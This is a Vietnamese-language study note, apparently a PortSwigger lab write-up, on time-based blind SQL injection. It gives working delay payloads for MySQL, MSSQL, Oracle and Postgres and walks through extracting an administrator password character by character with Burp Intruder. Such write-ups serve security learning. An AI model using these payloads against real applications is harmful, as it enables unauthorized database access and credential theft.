Exploiting Blind SQL Injection by Triggering Time Delays
Trong trường hợp ứng dụng handle các thông báo lỗi và ta không thể áp dụng kỹ thuật conditonal error như ở Port Swigger - Error-Based SQL Injection, ta sẽ áp dụng kỹ thuật blind SQL injection bằng cách gây ra một độ trễ nhất định tùy thuộc vào kết quả của điều kiện truy vấn là true hay false. Đa số các câu truy vấn SQL đều được xử lý một cách đồng bộ hóa nên việc trì hoãn thực thi SQL cũng sẽ làm trì hoãn thời gian gửi response của ứng dụng. Điều này sẽ giúp chúng ta xác định xem điều kiện truyền vào có đúng hay không.
Giả sử server dùng câu lệnh sau để kiểm tra một người dùng nào đó có tồn tại ở trong database hay không với giá trị của username
được lấy trực tiếp từ input của người dùng:
SELECT id FROM users WHERE username = 'USER';
Attacker có thể chèn vào đoạn SQL sau nhằm so sánh mật khẩu của tài khoản admin
với P@ssw0rd123
:
a' OR IF((SELECT password FROM users WHERE username='admin')='P@ssw0rd123', SLEEP(5), NULL);-- -
Câu truy vấn trở thành:
SELECT id FROM users WHERE username = 'a' OR IF((SELECT password FROM users WHERE username='admin')='P@ssw0rd123', SLEEP(5), NULL);-- -';
Khi thực hiện truy vấn và có xảy ra độ trễ khoảng 5 giây thì attacker biết được rằng P@ssw0rd123
chính là mật khẩu của tài khoản admin
.
Kỹ thuật tạo ra độ trễ đối với từng loại database là khác nhau. Ví dụ, đối với MSSQL, chúng ta có thể sử dụng payload sau để gây ra độ trễ:
'; IF (1=1) WAITFOR DELAY '0:0:10'--
Bằng cách này, chúng ta có thể kiểm tra dữ liệu cần truy vấn theo từng ký tự:
'; IF (SELECT COUNT(Username) FROM Users WHERE Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') = 1 WAITFOR DELAY '0:0:{delay}'--
Lab: Blind SQL Injection with Time Delays
Lab: Blind SQL Injection with Time Delays and Information Retrieval
Hint
Bài này cần encode payload truyền vào cookie.
Thử với payload của OracleDB và MSSQL nhưng không thành công:
';SELECT CASE WHEN (1=1) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual--
';IF (1=1) WAITFOR DELAY '0:0:10'--
Tuy nhiên, đối với payload của Postgres thì response lại trả về sau 10 giây đồng nghĩa với việc database của ứng dụng là Postgres:
';SELECT CASE WHEN (1=1) THEN pg_sleep(10) ELSE pg_sleep(0) END--
Kiểm tra sự tồn tại của username administrator
:
';SELECT CASE WHEN (username='administrator') THEN pg_sleep(10) ELSE pg_sleep(0) END from users--
Tìm ra độ dài của password là 20:
';SELECT CASE WHEN (length(password) = 20) THEN pg_sleep(3) ELSE pg_sleep(0) END from users where username = 'administrator'--
Sửa thời gian delay lại thành 3 giây để dễ test.
Payload tìm password:
';SELECT CASE WHEN (SUBSTRING(password,1,1) = '§a§') THEN pg_sleep(10) ELSE pg_sleep(0) END from users where username = 'administrator'--
Sử dụng Burp Suite Intruder và tìm ra được password là:
pkbilh9ny7fjwew0snbd
Related
list
from outgoing([[Port Swigger - Time-Based SQL Injection]])
sort file.ctime asc